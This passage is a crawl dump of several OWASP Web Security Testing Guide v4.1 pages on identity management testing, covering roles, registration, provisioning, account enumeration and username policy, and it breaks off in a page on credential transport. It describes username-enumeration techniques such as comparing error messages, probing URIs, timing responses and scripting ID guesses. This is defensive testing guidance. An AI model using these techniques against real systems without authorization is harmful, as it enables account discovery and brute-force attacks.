"text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Role Definitions\n\n| ID |\n| --- |\n| WSTG-IDNT-01 |\n\n## Summary\n\nIt is common in modern enterprises to define system roles to manage users and authorization to system resources. In most system implementations it is expected that at least two roles exist, administrators and regular users. The first representing a role that permits access to privileged and sensitive functionality and information, the second representing a role that permits access to regular business functionality and information. Well developed roles should align with business processes which are supported by the application.\n\nIt is important to remember that cold, hard authorization isn’t the only way to manage access to system objects. In more trusted environments where confidentiality is not critical, softer controls such as application workflow and audit logging can support data integrity requirements while not restricting user access to functionality or creating complex role structures that are difficult to manage. Its important to consider the Goldilocks principle when role engineering, in that defining too few, broad roles (thereby exposing access to functionality users don’t require) is as bad as too many, tightly tailored roles (thereby restricting access to functionality users do require).\n\n## Test Objectives\n\nValidate the system roles defined within the application sufficiently define and separate each system and business role to manage appropriate access to system functionality and information.\n\n## How to Test\n\nEither with or without the help of the system developers or administrators, develop an role versus permission matrix. The matrix should enumerate all the roles that can be provisioned and explore the permissions that are allowed to be applied to the objects including any constraints. If a matrix is provided with the application it should be validated by the tester, if it doesn’t exist, the tester should generate it and determine whether the matrix satisfies the desired access policy for the application.\n\n### Example 1\n\n| **ROLE** | **PERMISSION** | **OBJECT** | **CONSTRAINTS** |\n| --- | --- | --- | --- |\n| Administrator | Read | Customer records | |\n| Manager | Read | Customer records | Only records related to business unit |\n| Staff | Read | Customer records | Only records associated with customers assigned by Manager |\n| Customer | Read | Customer record | Only own record |\n\nA real world example of role definitions can be found in the [WordPress roles documentation](https://wordpress.org/support/article/roles-and-capabilities/). WordPress has six default roles ranging from Super Admin to a Subscriber.\n\n### Example 2\n\nLogin with admin permission and access pages that only for administrator. Then, login as normal user and try to access those administrator pages URL directly.\n\n1. Login as administrator\n2. Visit admin page. i.e. `http://targetSite/Admin`\n3. Logout\n4. Login as normal user\n5. Visit the admin page URL directly. `http://targetSite/Admin`\n\n## Tools\n\nWhile the most thorough and accurate approach to completing this test is to conduct it manually, [spidering tools](https://www.zaproxy.org/docs/desktop/start/features/spider/) are also useful. Log on with each role in turn and spider the application (don’t forget to exclude the logout link from the spidering).\n\n## References\n\n- [Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007](https://www.bookdepository.co.uk/Role-Engineering-for-Enterprise-Security-Management-Edward-Coyne/9781596932180)\n- [Role engineering and RBAC standards](https://csrc.nist.gov/projects/role-based-access-control#rbac-standard)\n\n## Remediation\n\nRemediation of the issues can take the following forms:\n\n- Role Engineering\n- Mapping of business roles to system roles\n- Separation of Duties\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3760, "slov": 519, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:09", "sha256": "81fc0ac84154d7ee90b745a54a946e77b6d8c45bfb42ab7f7a5370163ce8cb37", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wordpress.org/support/article/roles-and-capabilities/", "https://www.zaproxy.org/docs/desktop/start/features/spider/", "https://www.bookdepository.co.uk/Role-Engineering-for-Enterprise-Security-Management-Edward-Coyne/9781596932180", "https://csrc.nist.gov/projects/role-based-access-control", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test User Registration Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test User Registration Process\n\n| ID |\n| --- |\n| WSTG-IDNT-02 |\n\n## Summary\n\nSome websites offer a user registration process that automates (or semi-automates) the provisioning of system access to users. The identity requirements for access vary from positive identification to none at all, depending on the security requirements of the system. Many public applications completely automate the registration and provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications will provision users manually, so this test case may not apply.\n\n## Test Objectives\n\n1. Verify that the identity requirements for user registration are aligned with business and security requirements.\n2. Validate the registration process.\n\n## How to Test\n\nVerify that the identity requirements for user registration are aligned with business and security requirements:\n\n1. Can anyone register for access?\n2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?\n3. Can the same person or identity register multiple times?\n4. Can users register for different roles or permissions?\n5. What proof of identity is required for a registration to be successful?\n6. Are registered identities verified?\n\nValidate the registration process:\n\n1. Can identity information be easily forged or faked?\n2. Can the exchange of identity information be manipulated during registration?\n\n### Example\n\nIn the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.\n\n*Figure 4.3.2-1: Wordpress Registration Page*\n\nIn contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number, email address and CAPTCHA response. While only two of these can be verified (email address and mobile number), the identification requirements are stricter than WordPress.\n\n*Figure 4.3.2-2: Google Registration Page*\n\n## Tools\n\nA HTTP proxy can be a useful tool to test this control.\n\n## References\n\n[User Registration Design](https://mashable.com/2011/06/09/user-registration-design/)\n\n## Remediation\n\nImplement identification and verification requirements that correspond to the security requirements of the information the credentials protect.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2395, "slov": 332, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:10", "sha256": "930de425d7f525924f8589a9f8510b0217345706ebe32515a705404ead2e98fa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://mashable.com/2011/06/09/user-registration-design/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Account Provisioning Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Test Account Provisioning Process\n\n| ID |\n| --- |\n| WSTG-IDNT-03 |\n\n## Summary\n\nThe provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.\n\n## Test Objectives\n\nVerify which accounts may provision other accounts and of what type.\n\n## How to Test\n\nDetermine which roles are able to provision users and what sort of accounts they can provision.\n\n- Is there any verification, vetting and authorization of provisioning requests?\n- Is there any verification, vetting and authorization of de-provisioning requests?\n- Can an administrator provision other administrators or just users?\n- Can an administrator or other user provision accounts with privileges greater than their own?\n- Can an administrator or user de-provision themselves?\n- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?\n\n### Example\n\nIn WordPress, only a user’s name and email address are required to provision the user, as shown below:\n\n*Figure 4.3.3-1: Wordpress User Add*\n\nDe-provisioning of users requires the administrator to select the users to be de-provisioned, select Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user’s posts (delete or transfer them).\n\n*Figure 4.3.3-2: Wordpress Auth and Users*\n\n## Tools\n\nWhile the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1657, "slov": 244, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:11", "sha256": "588230c1cec652b7c204f441b41d35f91eea488c4ddd6981d4a746ec6b5c46d2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Account Enumeration and Guessable User Account"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "HTTP Response Message"}, {"uroven": 4, "text": "Testing for Valid User/Right Password"}, {"uroven": 4, "text": "Testing for Valid User with Wrong Password"}, {"uroven": 4, "text": "Testing for a Nonexistent Username"}, {"uroven": 3, "text": "Other Ways to Enumerate Users"}, {"uroven": 4, "text": "Analyzing URLs and URLs Re-directions"}, {"uroven": 4, "text": "URI Probing"}, {"uroven": 4, "text": "Analyzing Web Page Titles"}, {"uroven": 4, "text": "Analyzing a Message Received from a Recovery Facility"}, {"uroven": 4, "text": "Friendly 404 Error Message"}, {"uroven": 4, "text": "Analyzing Response Times"}, {"uroven": 3, "text": "Guessing Users"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Testing for Authentication Error Messages"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Account Enumeration and Guessable User Account\n\n| ID |\n| --- |\n| WSTG-IDNT-04 |\n\n## Summary\n\nThe scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force testing, in which the tester verifies if, given a valid username, it is possible to find the corresponding password.\n\nOften, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong. The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username and password attack.\n\nThe tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server when the user provide a valid username is different than when they use an invalid one.\n\nIn some cases, a message is received that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.\n\n## How to Test\n\nIn black-box testing, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.\n\n### HTTP Response Message\n\n#### Testing for Valid User/Right Password\n\nRecord the server answer when you submit a valid user ID and valid password.\n\n> Using a web proxy, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).\n\n#### Testing for Valid User with Wrong Password\n\nNow, the tester should try to insert a valid user ID and a wrong password and record the error message generated by the application.\n\n> The browser should display a message similar to the following one:\n> \n> *Figure 4.3.4-1: Authentication Failed*\n> \n> or something like:\n> \n> *Figure 4.3.4-2: No Configuration Found*\n> \n> against any message that reveals the existence of user, for instance, message similar to:\n> \n> `Login for User foo: invalid password`\n> \n> Using a web proxy, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).\n\n#### Testing for a Nonexistent Username\n\nNow, the tester should try to insert an invalid user ID and a wrong password and record the server answer (the tester should be confident that the username is not valid in the application). Record the error message and the server answer.\n\n> If the tester enters a nonexistent user ID, they can receive a message similar to:\n> \n> *Figure 4.3.4-3: This User is Not Active*\n> \n> or message like the following one:\n> \n> `Login failed for User foo: invalid Account`\n> \n> Generally the application should respond with the same error message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find out the key that creates a difference between the two responses. For example:\n> \n> - Client request: Valid user/wrong password\n> - Server answer: The password is not correct\n> - Client request: Wrong user/wrong password\n> - Server answer:’User not recognized’\n> \n> The above responses let the client understand that for the first request they have a valid user name. So they can interact with the application requesting a set of possible user IDs and observing the answer.\n> \n> Looking at the second server response, the tester understand in the same way that they don’t hold a valid username. So they can interact in the same manner and create a list of valid user ID looking at the server answers.\n\n### Other Ways to Enumerate Users\n\nTesters can enumerate users in several ways, such as:\n\nSome web application release a specific error code or message that we can analyze.\n\n#### Analyzing URLs and URLs Re-directions\n\nFor example:\n\n- `http://www.foo.com/err.jsp?User=baduser&Error=0`\n- `http://www.foo.com/err.jsp?User=gooduser&Error=2`\n\nAs is seen above, when a tester provides a user ID and password to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a bad user ID and bad password. In the second, a good user ID and a bad password, so they can identify a valid user ID.\n\n#### URI Probing\n\nSometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.\n\nSome of the common errors received from web servers are:\n\n- 403 Forbidden error code\n- 404 Not found error code\n\nExample:\n\n- `http://www.foo.com/account1` - we receive from web server: 403 Forbidden\n- `http://www.foo.com/account2` - we receive from web server: 404 file Not Found\n\nIn the first case the user exists, but the tester cannot view the web page, in second case instead the user “account2” does not exist. By collecting this information testers can enumerate the users.\n\n#### Analyzing Web Page Titles\n\nTesters can receive useful information on Title of web page, where they can obtain a specific error code or messages that reveal if the problems are with the username or password.\n\nFor instance, if a user cannot authenticate to an application and receives a web page whose title is similar to:\n\n- `Invalid user`\n- `Invalid authentication`\n\n#### Analyzing a Message Received from a Recovery Facility\n\nWhen we use a recovery facility (i.e. a forgotten password function) a vulnerable application might return a message that reveals if a username exists or not.\n\nFor example, message similar to the following:\n\nInvalid username: e-mail address is not valid or the specified user was not found.\n\n`Valid username: Your password has been successfully sent to the email address you registered with.`\n\n#### Friendly 404 Error Message\n\nWhen we request a user within the directory that does not exist, we don’t always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the user does not exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.\n\n#### Analyzing Response Times\n\nAs well as looking at the content of the responses, the time that the response take should also be considered. Particularly where the request causes an interaction with an external service (such as sending a forgotten password email), this can add several hundred milliseconds to the response, which can be used to determine whether the requested user is valid.\n\n### Guessing Users\n\nIn some cases the user IDs are created with specific policies of administrator or company. For example we can view a user with a user ID created in sequential order:\n\n```\nCN000100\nCN000101\n...\n```\n\nSometimes the usernames are created with a REALM alias and then a sequential numbers:\n\n- R1001 – user 001 for REALM1\n- R2001 – user 001 for REALM2\n\nIn the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we can also use Perl and CURL.\n\nOther possibilities are: - user IDs associated with credit card numbers, or in general numbers with a pattern. - user IDs associated with real names, e.g. if Freddie Mercury has a user ID of “fmercury”, then you might guess Roger Taylor to have the user ID of “rtaylor”.\n\nAgain, we can guess a username from the information received from an LDAP query or from Google information gathering, for example, from a specific domain. Google can help to find domain users through specific queries or through a simple shell script or tool.\n\n> by enumerating user accounts, you risk locking out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, your IP address can be banned by dynamic rules on the application firewall or Intrusion Prevention System.\n\n### Gray-Box Testing\n\n#### Testing for Authentication Error Messages\n\nVerify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the black-box testing and gray-box testing have the same concept based on the analysis of messages or error codes received from web application.\n\n> The application should answer in the same manner for every failed attempt of authentication.\n> For Example: *Credentials submitted are not valid*\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [CURL](https://curl.haxx.se/)\n- [PERL](https://www.perl.org)\n\n## References\n\n- [Marco Mella, Sun Java Access & Identity Manager Users enumeration](https://securiteam.com/exploits/5ep0f0uquo/)\n- [Username Enumeration Vulnerabilities](https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/)\n\n## Remediation\n\nEnsure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.\n\nEnsure default system accounts and test accounts are deleted prior to releasing the system into production (or exposing it to an untrusted network).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9759, "slov": 1531, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:12", "sha256": "a14da32771c30c003fad95e08bb20b432c1ab3280352b712f1e060d1b8581cf0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://curl.haxx.se/", "https://www.perl.org/", "https://securiteam.com/exploits/5ep0f0uquo/", "https://www.gnucitizen.org/blog/username-enumeration-vulnerabilities/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak or Unenforced Username Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak or Unenforced Username Policy\n\n| ID |\n| --- |\n| WSTG-IDNT-05 |\n\n## Summary\n\nUser account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.\n\n## Test Objectives\n\nDetermine whether a consistent account name structure renders the application vulnerable to account enumeration. Determine whether the application’s error messages permit account enumeration.\n\n## How to Test\n\n- Determine the structure of account names.\n- Evaluate the application’s response to valid and invalid account names.\n- Use different responses to valid and invalid account names to enumerate valid account names.\n- Use account name dictionaries to enumerate valid account names.\n\n## Remediation\n\nEnsure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1036, "slov": 138, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:13", "sha256": "1bb1e14b020aaf32d5d1cbe91993caac42951f45f85f9eece4b64dcbee89a349", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.3 Identity Management Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.3 Identity Management Testing\n\n4.3.1 [Test Role Definitions](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions)\n\n4.3.2 [Test User Registration Process](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process)\n\n4.3.3 [Test Account Provisioning Process](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process)\n\n4.3.4 [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n\n4.3.5 [Testing for Weak or Unenforced Username Policy](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1130, "slov": 79, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:08", "sha256": "ed9c167223e893b2e775de6699f2f860b7df6ae98715bcc0b7848aafb446395c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Credentials Transported over an Encrypted Channel"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Example 1: Sending Data with POST Method Through HTTP"}, {"uroven": 4, "text": "Example 2: Sending Data with POST Method Through HTTPS"}, {"uroven": 4, "text": "Example 3: Sending Data with POST Method via HTTPS on a Page Reachable via HTTP"}, {"uroven": 4, "text": "Example 4: Sending Data with GET Method Through HTTPS"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Credentials Transported over an Encrypted Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-01 |\n\n## Summary\n\nTesting for credentials transport means verifying that the user’s authentication data are transferred via an encrypted channel to avoid being intercepted by malicious users. The analysis focuses simply on trying to understand if the data travels unencrypted from the web browser to the server, or if the web application takes the appropriate security measures using a protocol like HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the data that is transmitted and to ensure that user is being sent towards the desired site.\n\nClearly, the fact that traffic is encrypted does not necessarily mean that it’s completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using, but this particular topic will not be addressed in this section.\n\nFor a more detailed discussion on testing the safety of TLS/SSL channels refer to the chapter [Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection). Here, the tester will just try to understand if the data that users put in to web forms in order to log in to a web site, are transmitted using secure protocols that protect them from an attacker.\n\nNowadays, the most common example of this issue is the log in page of a web application. The tester should verify that user’s credentials are transmitted via an encrypted channel. In order to log in to a web site, the user usually has to fill a simple form that transmits the inserted data to the web application with the POST method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure, clear text form, or using the HTTPS protocol, which encrypts the data during the transmission. To 